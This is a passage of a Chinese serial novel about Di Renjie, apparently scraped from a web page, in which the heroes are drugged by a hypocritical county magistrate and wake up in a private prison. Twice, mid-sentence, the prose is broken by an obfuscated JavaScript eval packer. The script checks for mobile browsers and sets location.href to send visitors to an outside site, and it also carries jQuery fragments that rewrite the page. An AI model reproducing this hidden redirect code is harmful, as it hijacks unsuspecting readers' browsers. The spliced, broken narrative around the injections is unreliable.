韩忠义冷静了些,感觉喊叫一下,发泄了一下情绪,整个人舒服了许多,便又喘了几口气,指着胡乐道:“你给我赶紧想办法!” 胡乐哼了一声,道:“我有个屁办法啊,老爷都没法儿呢。” 狄仁杰道:“法儿倒是有。” 韩忠义几人一听,忙问是什么。 “你们想,”狄仁杰道,“官兵和百姓,跟我们也并不熟,面容则更不消说。而供他们参考的,也只有那榜上的画像而已。我与忠义、马肃,只要稍微改变一下外貌,他们应该也就不容易认出来了。你们说呢?” 韩忠义几人听了,都笑道:“虽然滑稽了些,倒不失为个好法子。” 狄仁杰、韩忠义二人遂将头发散开。胡乐、狄宁为显不突兀,亦如此行。鹃儿则无须改装了。至于马肃,通缉画像上便是长发,此刻只须将其头发绾起,插上一簪,再刮干净胡子,登时便感觉变了个人。 韩忠义叹道:“倒还真像是个队长的模样儿啊,只是他为何要通敌呢?搜查队真是他杀害的吗?” 狄仁杰道:“只要他不醒,这一切就仍是谜团。” 韩忠义道:“是啊,我与大人并未犯罪,还不是被通缉了,说不定马肃也是被冤枉的呢。” 狄仁杰道:“也未可知。” 于是都歇了片刻,又继续赶路。 次日一早,一行人来到一处市镇,见关口处黑压压一片人群,排着一长条的队,都是要入关的人,却因为官府要一个一个地检查,以免通缉犯混进了人群当中,所以关口处有许多官兵把守,检查入关的每一个人,检查得很仔细,很缓慢,队也就越排越长了。 只见关口两旁都是高高的城墙,上面贴了许多马肃、狄仁杰、韩忠义三个人的通缉榜文。其实原本还有一些其他的通缉犯的,但如今朝廷下达命令,全国各地主要通缉狄仁杰三个人,因为这三个人最危险,“罪”也最大,所以就把其他通缉犯的通缉榜文全部都给拿掉了,只贴狄仁杰三个人的。 韩忠义见了叹气道:“大人,我们即使改了装,还是难。” 狄仁杰道:“你们暂且不要再叫我‘大人’、‘老爷’了,叫‘大哥’吧,或许能掩人耳目。” 韩忠义笑道:“那我就还是叫‘义忠韩’吧。” 胡乐道:“你叫‘义忠韩’,咱老爷叫‘杰仁狄’,马肃就叫‘肃马’喽?” 韩忠义笑道:“好主意啊。” 胡乐冷笑道:“素马,还荤马呢。” 几人于是下马牵着,跟人群一块排着队。 只见关口处那些官兵果真是各人各物都细查一番,听他们吆喝道:“箱子打开!”“给老子快点儿!”“喂!你个鸟人!脸给爷爷转过来!”“你他妈是娘们儿还是汉子呀!”“你奶奶的聋啦!老子跟你说话儿呢!”“小妞儿,让我搜搜你身上!”“行啦!爷爷今儿就放你们进去!”“兔崽子们,过去吧!” 狄仁杰几人见他们作威作福,好生气恼。 韩忠义低声骂道:“狗眼看人低!” 狄仁杰忽然注意到,每个入关者都在官兵面前停顿片刻,立即便明白了是怎么回事,便叹了口气,想道:“这些官兵竟然明目张胆地就受贿,实在是可恨哪。” 这时,忽听得一人厉声骂道:“你们几个畜生,竟敢光天化日之下拿百姓的钱财以肥己!这等所作所为,若在别处,本官自然是管不着。然既在本官的管辖范围内,出了这等事,我责无旁贷!” 只见说话的那人三十来岁年纪,面色白净,正气凛然,头戴乌纱帽,身穿绿色官服,旁边还围着十来个衙役。 唬得那些官兵齐跪下颤道:“魏……魏县令……” 那人正是本处县令魏胥。 魏县令哼的一声,怒骂:“尔等公然受贿,横行霸道,仗势欺人,真是禽兽不如!若非本官亲眼所见,我还不肯相信,我手下竟是尔等这群猪狗也不如的东西!幸亏有人来告发了你们几个的恶行,本官方知。你们到底受了多少贿赂,快说!” 官兵皆唬得不敢言,魏县令又喝问,有一个方颤道:“每……每日……每日入关的……一共也……也不到四十多两……” 众人一听,都吓一大跳。 魏县令冷笑道:“好啊,四十多两。与本官一年的俸禄相比,也差不了多少。倘若有人不给银子,你们就威吓他,要举报谋反,对吗?” 那官兵颤道:“四十两……我们几个一分……到手的也不多……” 魏县令怒喝:“住口!你个猪狗也不如的东西!你还有脸说!”一嘴巴打去,那官兵登时脸红了。 魏县令喝命他们给大众磕头赔罪。 官兵们还不服,刚要说话,魏县令又是几个巴掌打在各人脸上,均红了脸。 魏县令看着他们哼了一声,又向众人朗声道:“父母官者,自当为民做主!为官之人,既有更大的权力,更高的地位,就当造福更多的人,而非利用权力去压迫人民!” 众人一听,齐跪下了。 只有几人未跪,这几人其中一个忍不住赞道:“好!说得好!” 魏县令忙问那人姓名。 那人笑道:“在下韩……义忠韩。”又介绍道:“这位是……大哥。” 魏县令忙作揖,狄仁杰还礼。 魏县令又命官兵将银子交出来,官兵们齐看了一眼魏县令。 魏县令皱眉大怒,喝道:“还不赶紧交出来!你们看本官做甚?又不是本官贪的!赶紧的!” 官兵们这才各自掏出赃银,有将及二十两。 魏县令怒喝:“没啦?!不是说四十多两吗?!交全了!” 官兵们道:“今儿……就这么多了……” 魏县令哼的一声,命衙役将银子分散给众人。 众人齐声大叫:“青天大老爷啊!”“魏县令秉公执法,爱民如子,当真是为百姓做主的好官哪!”“魏县令仗义疏财,为官清廉,于民秋毫无犯,百姓都爱戴你啊!”“魏县令这样的父母官真是千古难得啊,天下能有几个?我们阳绵县有福啊!” 魏县令听了,不矜不伐,忙命衙役将众人扶起,又含泪谦逊道:“魏某实不敢当!得蒙父老乡亲们如此爱戴,真是受宠若惊!魏某尚有不足之处,还望诸位多多提点,多多见谅啊!” 众人听了这话,又都跪下了,许多都流下了泪来。 魏县令“哎呀”一声,忙亦跪下,向众人磕头道:“不敢,不敢!实在是受不起啊!诸位若再不起来,魏某便与你们同跪!” 众人这才起身,又互相之间称颂魏县令。 韩忠义几人见魏县令是这等好官,也都赞叹不已。 魏县令告诫官兵们不可再受贿欺压百姓了,官兵们都认错道:“不敢了!” 又叫他们先到衙门里去待着,到时候还要亲自处罚他们一番。 官兵们于是各皆苦着脸去了。 魏县令这时脸露笑容,来至狄仁杰几人跟前,说道:“几位适才因为听了在下的言论而叫好,看来必是义士了!唉呀,魏某久欲结交同道中人,只是难得遇见。不料今日,我只见了你们那么一眼,我那心里倒似一见如故啊,哈哈!” 狄仁杰几人也客套了几句。 魏县令又请他们到城中府上去作客,几人也不好推却。 韩忠义几人又见魏县令笑容可掬,全然是出于好意,遂与之进了城。 狄仁杰一行见县城也不甚大,街上倒还热闹,店铺饭馆也还齐全,路上行人也不少。于是都各自牵着马,一面缓步徐行,听那魏县令笑着向几人介绍道:“几位,这里唤作‘阳绵县’。至于这‘阳’字是如何来的,或许是因为出了县城不远处便是寻阳江的缘故。” 胡乐道:“这阳绵县的‘阳’字是从寻阳江来的,那‘绵’字呢?” 魏县令笑了笑,说他也不知道。 一路上还有许多行人真心实意地称颂魏县令的恩德。魏县令对他们各人皆是客客气气地微笑点头。 韩忠义几人均想:“真是好官啊!” 魏县令指着前面笑道:“在下寒邸到了。” 只见迎面一个中等大小的宅子,就在大街左近一个拐角的路旁,远离县城中的热闹去处,周围也少有民宅店铺,是个独立又幽静的宅院。外面白墙黑瓦,要么墙皮脱落,要么瓦片参差,给人一种很陈旧的感觉。四周环绕着颇高的围墙,将里外间隔开,顶上就是一排黛瓦屋檐,黑影错落。 旁边大门紧贴着石板街道,门前没有台阶,只有一个石头做的门槛。大门上有两个已经生了锈的铜环。匾额横在门的正上方,也已经很旧了,连匾框上原本纯粹的褐漆都掉了颜色,变得斑斑驳驳,上面书写着的“魏府”两个字,也都快看不见了。 魏县令敲了敲门,过了片刻,只见一个老管家迎了出来。魏县令叫那些跟来的衙役们都回衙门去,他们便都答应了一声,自行告退。 魏县令于是向狄仁杰几人笑道:“几位,里边请。” 狄仁杰几人便跨过门槛,跟着魏县令一起进去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17051967|194817||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了,只见前院景物简陋,除了几株栽种得不是很健康的垂杨柳,几乎别无它物,整体不但单调,而且还有点萧疏荒芜的感觉。有的地方草地已经发黄了,甚至一片杂草丛生,也没人来管。 狄仁杰几人正走在前院的石子路上,虽然路是笔直的,但上面的石头凹凸不平,走的人也不舒服,应该是没有铺陈好的缘故。 魏县令道:“敝宅无华,实在惭愧!” 狄仁杰道:“挺好,县令大人情趣高雅,不以外在修饰为要。于此纷乱世道中,得见如此清幽去处,也实在难得。” 魏县令笑道:“老先生过誉了,请。” 于是都来到了正厅。 只见府中也没有别的仆人了,只有那老管家一人服侍,且正厅虽然还算开阔,但整体陈设简朴,甚至颇旧,都是一些质量不高的木制家具,桌椅都是寻常百姓家也买得起的,坐上去甚至会咯吱咯吱的响,上面还有裂痕,不知道什么时候坐着坐着就要倒了。 韩忠义几人见了,都佩服他身为县令,却过得如此清贫。 魏县令让座,几人谢了座,于是都分宾主坐定。 魏县令叫老管家去烧茶。 老管家一时上了茶,各人一杯。 魏县令指着自己的杯子问那老管家道:“这是什么?” 老管家道:“是茶。” 魏县令道:“我说了多少遍了,我只喝白水。” 老管家道:“老爷,方才是你叫老奴预备茶的。” 魏县令道:“茶是给客人预备的,我不要。” 问及原由,魏县令叹了口气,道:“茶较水为贵,我每多吃一口,许多贫困的百姓便要少吃一口饭。所以我想,不如将这喝茶所耗费的钱财省下来,给予那需要之人,岂不更好?” 韩忠义几人听了,更是佩服。 胡乐忽然问道:“马呢?” 韩忠义道:“马什么?” 胡乐道:“昨儿乡下偷的那五匹马呀。” 韩忠义“呸”的啐了一口,道:“什么偷不偷的,真难听!付了钱的叫‘买’!” 胡乐道:“哎行行行,就算买吧!” 韩忠义道:“什么‘就算’,‘就是’买的!我们难道没付钱吗?你昨儿埋怨啥来着?是谁说‘一贫如洗’的?” 胡乐道:“买买买!马哪儿去了呢?” 韩忠义道:“你这么关心马做什么,又没丢,方才老管家说牵去喂食了。” 老管家微笑点头道:“是的。” 胡乐“哦”的一声,笑道:“没丢就好,马可重要喽,没马逃跑不易!” 韩忠义、狄宁、鹃儿、魏县令、老管家听了,都笑了起来。 魏县令笑道:“这位小兄弟放心,五匹马好好的在马厩里,一个也跑不了。” 狄仁杰这时微笑着起身告辞。 魏县令忙站了起来,挽留道:“老先生,魏某尚未尽地主之谊,还请先用过午膳,再走不迟。” 狄仁杰不肯。 胡乐道:“老爷,人家魏县令好心请咱,咱吃过再走嘛!” 韩忠义笑道:“大人,是啊,魏县令的心意,我们还是领了吧。” 狄宁道:“老爷,我们身上也没盘费了。” 狄仁杰与魏县令作揖道:“多蒙县令大人赐饭,只是我们急待赶路,要出城去做买卖。” 魏县令还礼,笑道:“不妨事的,用过午膳后,魏某自会与你们盘费。” 狄仁杰执意不肯。 胡乐于是埋怨道:“唉呀老爷啊!吃个饭咋了嘛!” 韩忠义道:“大人,你在想什么?” 狄宁道:“老爷,你怎么啦?” 狄仁杰见他们几个又是“老爷”又是“大人”的乱叫,早将自己方才说要叫“大哥”的话忘得一干二净了。 魏县令又劝了几句,狄仁杰无法,只得答应。 魏县令大喜,忙叫老管家去备膳,老管家答应着去了。 午时前后,在后花园堂内,狄仁杰、韩忠义、胡乐、狄宁、鹃儿、魏县令六个人围坐在一张圆形的大木桌四周,看着老管家陆续摆上了佳肴饭碗杯箸。 魏县令笑道:“仓促了些,不成敬意,几位请吧。” 胡乐笑道:“魏县令客气了,俺就不客气了。”就欲动箸,狄仁杰忙轻轻地咳了一声,韩忠义会意,忙阻止胡乐道:“喂,魏县令是主,我们是客。主人还未动筷子,你倒先急着吃上了?”一瞥眼间,见狄仁杰眉头紧皱,神情复杂,望向自己。 韩忠义瞬间明白了什么,不由得大吃一惊。 胡乐于是只好放下筷子,待魏县令先吃。 魏县令哈哈一笑,道:“不必客气!好吧,那我先尝尝,看看老兄手艺可有进步。” 老管家微笑点头。 魏县令夹了一块红烧肉到碗里,配米饭吃了,细细咀嚼,“嗯”的一声,笑道:“真不赖啊!”又夹了点炒芦笋、炒鸡蛋、凉拌萝卜丝,各样菜都吃了几口,笑道:“好啊,厨艺大有长进。” 老管家微笑道:“老爷过奖了。” 胡乐看得馋涎欲滴,道:“魏县令都吃了,咱也可以吃了吧?” 魏县令笑道:“几位,非常美味的,何以不给在下一点面子呢?尝尝吧。” 狄仁杰道:“多谢县令大人,那我们吃吧。” 遂皆动起箸来。 韩忠义见胡乐吃得如猪一般,骂他道:“你能不能像个人?” 胡乐也不好意思了,只好放慢了吃。 诸人正吃着,听魏县令问老管家道:“有预备酒吗?” 老管家笑道:“老奴知道老爷平日里滴酒不沾。今日请客,却早预备下了。” 狄仁杰忙道:“我们也都不吃酒,既然县令大人也不吃……” 魏县令笑道:“老先生,我们又非酗饮,只是略品滋味,吃几杯何妨?”命老管家斟酒。 只见老管家拿着一壶酒,在各人杯里满满的筛上了。 狄仁杰、韩忠义互看了一眼。 见魏县令捧起杯来,笑道:“在下先敬几位一杯。”说着,一口饮尽,将空杯与狄仁杰几人看。 狄仁杰、韩忠义又互看了一眼,遂捧起杯来,一齐饮了。 魏县令大笑道:“好!再斟一杯!” 老管家又给诸人斟上。 眼见魏县令先饮尽了,狄仁杰几人方饮。 魏县令笑道:“好酒啊!再来一杯!” 狄仁杰忙道:“事不过三。” 魏县令笑道:“欸,刘玄德非三顾草庐,何以得见诸葛孔明?哈哈,最后再来一杯!” 老管家又团团满上。 见鹃儿呛得咳嗽,韩忠义伸手道:“你那杯我来吃。” 鹃儿道谢,将杯与他。 韩忠义遂连饮双杯。 胡乐道:“嗯,这酒挺香的呀。” 魏县令道:“哟,可惜了,只预备了一壶,是否……” 狄仁杰忙道:“不必了。” 胡乐又动箸吃了起来。 突然,狄仁杰几人均感一阵晕眩,仿若天旋地转。 胡乐筷子落地,双手抱头叫道:“哎呀我头好痛啊!”身子一晃,便即倒下。 狄仁杰、狄宁、鹃儿也陆续昏了过去,不省人事了。 韩忠义亦是支撑不住,身子摇摇晃晃,使尽全力睁开眼来,只见魏县令正在哈哈大笑。 韩忠义大怒,将桌上碗筷杯盘砸了个粉碎,顿感轰隆隆声回荡耳际,便欲作呕,猛地眼前一黑,再无知觉…… 22. 第二十二章 牢狱 韩忠义也不知昏迷了多久,再度睁开眼时,自己双眼的眼皮已经累得快张不开了,只是感觉眼睛又肿胀又发酸,好像自己几乎快要瞎了。但使劲眨了眨眼,缓了缓,眼睛稍微能由自己控制了,便慢慢地睁了开,但是视线模模糊糊的,好像整个世界都倒了过来。 他感觉到,自己好像处于躺着的状态,但浑身上下特别不舒服,他甚至还没有动,就已经感觉到非常难受了,好像他现在就是想动也未必动得了。 只见自己眼前一片昏暗,朦朦胧胧中,在深邃的昏暗里,似乎又混杂着一缕淡淡的微光,跟空气里无限的漆黑柔和成了一块,分不清彼此的界限,但又似乎,是从另一个方向,透射进来的。 韩忠义脑子也乱了,头痛欲裂,昏昏沉沉,感觉已经没法像正常人那样思考了,所以眼前看到的景象,都像是转眼划过的,但它们又明明就在自己眼前,可感觉上还是离得很遥远,好像自己根本触摸不到,但实实在在的,自己却又身在其中,而且就在现在,此时此刻,自己就躺在这样一个未知的环境里,快要难受死了。 他试图要爬起来,但身体上的任何一个地方似乎都不属于自己了,它们都动不了,僵硬在了不知什么地方,全部都跟着自己的思想转瞬之间死去了。它们明明在自己的身上,韩忠义是知道的,但又明明感觉,它们在这时候,并不属于自己,好像自己微弱的感知力和身体已经短暂地分开了,而且分开得很彻底,没有一丝多余的关联。 他之所以起不来,是因为感觉到自己浑身上下有千百斤重,重到好像被泰山压住了,但明明又没有任何东西压住自己,好像只有自己,躺在这里,自己的无力感将自己给压住了。他瞬间又痛苦又无奈,觉得自己纵然武功再高,这一刻也是无能为力,竟然连自己的身体都控制不了,却反过来被它所控制了。这是使他更难受的事情,比现在起不来还要更不舒服。 他的耳旁还在嗡嗡作响,还在响,响得自己脑袋都快爆炸了,但是响声自响它的,自己依然控制不了。自己此时此刻,是完完全全地不自由的!从头到脚,没有一处属于自己,好像全是自己思想的附属品,是额外加添给自己的沉重负担,是自己身为有限的人所承担不起的。他痛苦啊,不管是□□还是精神,都已经离死亡不远了。但最使他痛苦的却是,它们此时此刻偏偏还没有死,而是好好地活着,它们依然存在,在自己的感触上,在自己的意识上,它们都没有死去。 所以他韩忠义瞬间明白了,活着远远比死去痛苦,因为还能有感触,有意识,而且是不由自主的,是身不由己的,是永远不间断的,是持续的痛苦,一直持续到,自己死了为止。 他真的不想起来了,因为一起来,就会又让他更清晰地想起,自己现在仍然活着,而且肯定自己身处的环境很糟糕,否则这种极端的痛苦也不会突然临到。但如果他不起来,这种痛苦似乎会被自己的意识和感知力无限放大到极致,然后自己就默默地品尝着痛苦的滋味,还无所作为,于是一切就显得更加无力,更加不可理喻,更加不能理解。 他还是决定,要试着爬起身来,试着超脱困境,超越自己身体的局限性,超越自己一切的患难,然后看看,命运怎么安排下一步。 他使尽全力,在无力感和痛楚中,缓慢而又艰难地爬了起来,发酸的双臂向前一支撑,手掌感觉到刺痛,他一翻身,腰也疼痛,然后摆正身体的姿势,不知怎么颠来倒去,就成功坐了起来。他松了口气,眼睛没那么模糊了,视线也远比方才清晰了,感知力也强了,思维似乎也恢复了,可以像正常人那样的思考了,不再被刚才短暂而又漫长的朦胧意识所蒙蔽了,他记得了很多事情,尤其是刚刚发生的一系列事情,以及自己如何会走到现在这一步,受到这样巨大的折磨。 韩忠义这才发现,自己的手脚之上均套有铐镣,是非常沉重的钢铁所制,用很长的链子相连在了一起,几乎将自己整个人都捆绑了,自由被限制了大部分,几乎是把自己的手脚揉成了一团失去了其本身功用的肢体,只好听任那手铐和脚镣所发出的铁链相撞之声,在自己接下来的每一个动作中,极力地刺痛着自己疲惫的听觉。 他这时意识到了时间还存在,没有停止,只是自己身在时间当中,将它短暂地遗忘了,所以不知过了多久,已经是身处一片漆黑了。但这个思想转瞬让他否定了,因为白天和黑夜在什么地方,自己完全不知道,而且也记不得了。他只记得,自己是大概在天还亮的时候昏迷了过去,而且虽然昏迷能记得,但怎么就昏迷了,尤其是昏迷的一瞬间,自己是意识不到自己在这一瞬间已经昏迷了的。他好像平时睡着了一样,睡了一大觉,然后猛然恢复了清醒的意识,于是醒来了,发现自己在时间的意识之外,已经停留了许久,没有去思考这其中的关联。 他缓缓转动着酸痛的脖颈,环顾着四周,但见粗大的石壁环绕,是个很窄小很黑暗的空间,封闭到连天窗都没有,只有石墙,阻隔着外界,将自己包围其中。他低头一看,地上铺满了稻草,满满的,从这边墙角,到那边墙角,都是稻草,而且还非常潮湿,整个房间都是湿漉漉的,空气中有一股浓浓的霉臭味扑鼻而来,简直是臭气熏天。 而且这时候,空气严重不流通,韩忠义感觉到呼吸困难,几乎都快要憋死了。他恨不得赶紧死了算了,因为活着真的比死了难受。他觉得脑供血不足了,脑袋开始发胀,疼痛,又快要爆炸了。他需要氧气,但氧气没有,这里没有氧气,只有发霉的气息,还有不知多少年都没换过的憋闷空气。他真的难受死了,一口气都快吸不进去了,而且如果吸了进去,又几乎吐不出来,整个人就是一个感觉,憋闷。这是最痛苦的,因为他连发泄都没机会,也没能力,所以痛苦全是憋着的,全是堵在自己的身体里,还有自己的心里面,怎么都出不来。 他而且不但憋闷,还感到很热,热得不得了,又闷又热,自己就好像一个牲畜,被活活的拿来煮,拿来烤,拿来烧,拿来蒸,拿来烫,拿来熬,拿来折磨。他不知道为什么,人活着要经历这种痛苦,这简直跟牲畜没什么两样。这时候不要说尊严了,因为很多痛苦根本不是经历给别人看的,而是只有经历的人自己知道,这痛苦究竟有多痛苦,有多么的难以忍受。这是无需证明给别人看的,因为痛苦不值得夸耀,也没什么光荣的。 他知道,那无数个瞬间经历的煎熬,都是徒然,并不会因此而换来什么回报。这是痛苦的本身最为纯粹的地方,就是它完全独立于一切之外,是直接地触摸到人生存本质的一种存在。它的存在,首先需要一个能够去承载它的人存在,它的存在才因此有了意义,有了价值,有了可以施展它存在的对象。而韩忠义此时此刻,就是承载它的那个对象,所以痛苦存在,他韩忠义也存在,他们两个一起存在,一起互相感受着对方的存在。 韩忠义已经快疯了,但人在疯之前往往比所有清醒的时刻还要理智,还要清晰地意识到,自己还没有疯,所以自己才能感觉到,自己快要疯了。韩忠义知道,自己还没有疯,但快了,马上,再过不了多久,再在这个环境里停留片刻,待上一段时间,自己就是个生不如死的狗,一个连空气中发霉的灰尘都不如的玩意儿。他瞬间想到,自己可能真的会死,而且会死得很窝囊,毫无一点价值,然后在这个肮脏的环境里,被人们遗忘。 他并没有去想这么多,只是他脑海里转瞬之间划过了各种各样的念头,都是快到他自己的意识都还来不及去捕捉的念头,他的理智更没有功夫去思想,为什么自己会痛苦,因为现在呈现出来的不是这一系列的过程,而是一个明明白白的结果,一个直观的现象。他正在经历痛苦,却又不会去明显地意识到,原来自己远比自己想象的还要痛苦一百万倍。 他已经处于最清醒的状态了,他韩忠义不但没有一丝的紧张,反倒平静得不得了,平静得跟现在这个环境似乎不太匹配,好像他把刚刚一切的烦恼都给忘却了,而实际上并非忘却,而是一种痛苦到了极致,紧张也到了极致之后,一种反转,一种轮回,一种无奈的回归。所以他平静的背后,是他向环境的痛苦做出的一种妥协,一种任何反应横竖也改变不了命运的安排,所以就干脆失去反应的态度,丢掉感情,丢掉自己的回应,然后自然接受这一切,不再让自己更加难过。 韩忠义于是呆了半晌,呆到又忘记了自己原来身处这样的环境,然后又缓缓地转头一看,只见自己的左边有一道铁门,门是用很厚的钢铁所铸成的,估计比平常的铁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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他呆了一会儿,突然意识到,自己身上好像少了什么。他一开始并没有在意,因为那件东西已经伴随自己半辈子了,所以从来没有离开过自己。但这时候,他突然发现,那件东西好像没了。他之所以意识到没了,是因为原本自己是能够感觉到一点重量的,而现在却感到轻省了许多。 那把“凌云宝剑”,从自己的腰间消失了。 这把剑,已经伴随了韩忠义半辈子,从他年轻时闯荡江湖起,到后来打遍天下无敌手,横行江湖,再到后来,跟随了狄仁杰为止,从来没有离开过他的腰间。 这时候,那把剑突然离开了,韩忠义却并不惊讶,反倒异常平静,甚至还感觉到自己终于解脱了。 他真的感觉解脱了。 他早就厌倦了江湖里的厮杀,人世间的恩怨,他只想远离这些。 所以他早在弱冠之年,成为了那个“天下第一”之后,就决定要退出江湖了。 但他后来遇见了狄仁杰。 狄仁杰,让他宁愿再一次回到那个波诡云谲的江湖,甚至是来到朝堂这个更大的江湖。 为什么呢? 他韩忠义明明一生都在追求自由,但最后却主动选择被束缚,这是为什么缘故呢? 因为狄仁杰曾经说过一句话。 而且狄仁杰不但这么说了,还用了自己的一生,去这么做了。 这句话很奇怪,不像是狄仁杰会说的。 但他确实说了,而且就凭这一句话,韩忠义就一辈子都跟定他了。 这一句话,就八个字。 “一念天涯,只为苍生。” 韩忠义从此,再也不做那个年轻时候的浪子了。 他终于明白,自己一直都想逃避的,却是狄仁杰一生都在面对的,而且是心甘情愿地去面对。 韩忠义于是,也决定要做点什么,虽然自己很渺小,但也要出一份力。 可这时候“凌云宝剑”突然没了,他又似乎感到解脱了。 他又体会到了,自己从前所追求的一种自由,一种只存在于刀剑以外的自由。 那就是漂泊、流浪,不知从哪里来,又往哪里去。 他的凌云宝剑,就好像他的志向。 在有的时候,他可以壮志凌云。 但同样,他也可以在一瞬间里失去所有的志向,变得浑浑噩噩,无所适从。 他韩忠义,有非常强烈的自我意识,但往往这种人,最容易迷失自我。 当然,那个可怕的时刻还没有到来。 但是最可怕的是,韩忠义自己也清楚得预感到,那个时刻估计不远了。 而且不知道什么时候,就会突然地降临。 他会猝不及防,却也防不胜防。 到那时候,能拯救他的,恐怕只有他自己了。 23. 第二十三章 逼供 现在继续说回那天晚上发生的事情。 韩忠义这时候见自己的凌云宝剑已经不在身上了,想也是被人给夺了去,于是也没有办法了,这时候即使有武功也难以施展,更何况手脚上都有铐镣套着,更是行动不便。 他试着气沉丹田,运起内力,双手带着铁链直响的手铐猛然敲击铁门,又狠推墙壁,却无一丝用处,整个四周都是固若金汤,牢不可破。 此时他浑身乏力,不敢再多动了,只好叹了口气,又坐了下来,在潮湿的稻草上又坐了片刻。他现在最担心的还是狄仁杰他们,不知道他们到底在哪里,现在又怎么样了。 他明明目睹了狄仁杰几个人先倒了下去,应该也都中了计才对,可此时此刻明明就只有自己一个人在这里,他们几个人又都哪去了呢?刚才还喊叫了好一阵子,却都没听到有回应,难道他们都在别的地方? 他想道:“没想到那个什么魏县令竟然是笑里藏刀,摆下了鸿门宴,在菜里下了药……不对,菜是他先吃的,菜里准没问题。我们是吃了那几杯酒以后才倒下的,药一定是下在了酒里。可是那老管家倒的是同一壶酒,倘若是酒里有毒,那姓魏的先喝,也应该是他先倒下……” 正自思索,忽听得有咳嗽之声传来。 韩忠义连忙到铁门的窗口去听。 只听得有人叫道:“嘿!这是啥鬼地方啊!咱怎么会在这儿啊!” 又有个声音道:“好像是在牢里。” 韩忠义听出了这两个声音,忙叫:“胡乐!狄宁!” 胡乐叫道:“是韩护卫吗?” 几人离得咫尺天涯,声音听得是一清二楚。 韩忠义道:“是我!你们在哪儿呢?” 胡乐道:“在牢里!” 韩忠义笑了一声,道:“废话!大人呢?” 胡乐、狄宁在另一间牢房,低头一看,只见狄仁杰依然昏迷在地,躺在潮湿的稻草上。 胡乐道:“老爷跟我们在一间房呢!” 韩忠义听了,方松了口气。 胡乐道:“咱咋地进牢里了呢?” 狄宁道:“是那魏县令下药了。” 胡乐一想,道:“是哦。”气得大骂魏县令。 一时狄仁杰醒转,韩忠义将自己牢房里的情况告知。 狄仁杰从铁门的窗眼望去,见外面石壁上点着油灯,尽头处有紧闭的石门,自己右侧是道铁门,其余别无它物。 他说道:“此处牢房不像是衙门里的,似是私人的。我从窗眼隐约看见旁边有一道铁门,估计便是你的牢房了。你却丝毫望不见外边,说明你的铁门不止一道。你的手脚还被套上了铐镣,应是他忌惮你武功高,将我们分别在两个牢房隔开了。” 韩忠义听了点头。 狄仁杰问道:“鹃儿、马肃他们呢?” 胡乐道:“是啊,没见呢。” 韩忠义道:“卑职这儿就我一人。” 狄宁道:“我记得吃饭时马肃就不见了。” 胡乐“嘿”的一声,指着狄宁道:“马肃不是你背着的吗?怎么他不见了你都不知道啊?” 狄宁道:“你也有背。” 胡乐道:“我之前是有背,后来给你啦。” 狄宁道:“放我马背上了。” 胡乐道:“你马背不是你的马?” 狄宁道:“是我的马。” 胡乐道:“你的马怎地马不见了?” 狄宁道:“马没不见,马肃不见了。” 胡乐道:“马在马厩里,马肃也在?” 狄宁道:“可能吧。” 狄仁杰问狄宁道:“什么时候不见的?” 狄宁道:“谁都没注意,我也不知道。” 胡乐问他道:“那鹃妹妹呢?” 狄宁摇头道:“不知道。” 胡乐怒道:“狄宁!你还有没有点儿责任心!” 狄宁道:“我又不是故意的。” 狄仁杰道:“算了,现在争这些也无益,还是想想办法如何出去吧。” 韩忠义问道:“大人,我想不明白,我们是如何被他下药的?” 狄仁杰叹了口气,道:“药是提前下在了我们的酒杯里。” 韩忠义点头道:“明白了,难怪同一壶酒,姓魏的却没中毒。” 狄仁杰道:“不知我们几个昏迷了多久。” 胡乐道:“都掌灯了,肯定是晚上。” 韩忠义笑道:“胡扯,这里又没窗,早晚又有什么分别!” 胡乐道:“我口渴了。” 狄宁道:“我也渴。” 胡乐站起身来,使劲敲打石墙,又狠推铁门。 韩忠义在另一间叹道:“我试过了,没用的,牢不可破。” 胡乐听韩忠义都不行,自己更是无可奈何,叹了口气。忽然破口大骂道:“姓魏的!王八蛋!伪君子!” 韩忠义叹了口气,道:“我还当这姓魏的是个好官,是个好人呢,没想到……嗐!知人知面不知心啊!” 狄仁杰道:“上有所好,下必甚焉。我一开始就在想,几个当兵的,背后若无人撑腰,哪儿来的胆子如此当众受贿?多半他们拿到手的贿赂,一大部分都归了这魏县令,他又用这赃银来买得好名声。” 韩忠义狠狠道:“装公正,装仁慈,装清贫,原来全是在装!” 狄仁杰道:“他又为什么无故邀请我们到他府上来?跟我们非亲非故,他看中了我们什么?还不是因为认出了我是狄仁杰,还有你是韩忠义嘛。” 韩忠义愧疚道:“大人,我们错了,悔不该早点听你的,离开完事儿。” 胡乐也愧疚道:“老爷,都是我贪吃惹的祸,我错了。” 狄宁也道:“错了。” 狄仁杰叹道:“罢了,事后我也不愿多说。只是想告诉你们,这世上的人和事都太复杂了,不能只看表面啊。” 韩忠义三人听了点头。 韩忠义问道:“大人,他为何不直接毒死我们,倒将我们关押了起来?” 狄仁杰道:“说明他并不想我们死,还要利用我们。” 韩忠义“嗯”了一声,也不多问了。 几人静静地坐了良久,感到又闷又热,又渴又饿。 胡乐唉声叹气道:“刚才多吃几口就好了。” 韩忠义笑道:“你还想着吃呢?吃啥?断头饭?” 胡乐怒敲石壁,喊道:“我现在都渴死啦!喉咙都干透啦!你别他妈的再烦我啦!” 韩忠义道:“你少说两句吧,现在说得越多就会越渴。” 胡乐“嗐”了一声,方不说了。 几人不觉睡着了。 不久又醒来了。 狄仁杰毕竟老迈,感到胸闷气短,难受至极,只是外表镇静,看不出来。 胡乐却早忍不住了,乱喊乱叫了起来:“闷死我啦!渴死我啦!我要死啦!哎呀!” 见没人理睬自己,便嚷得愈来劲了。 韩忠义突然大喝一声道:“你他妈的给我闭嘴吧!你以为就你一人难受啊?大人比你年纪大得多,都未曾有一句怨言,你倒……” 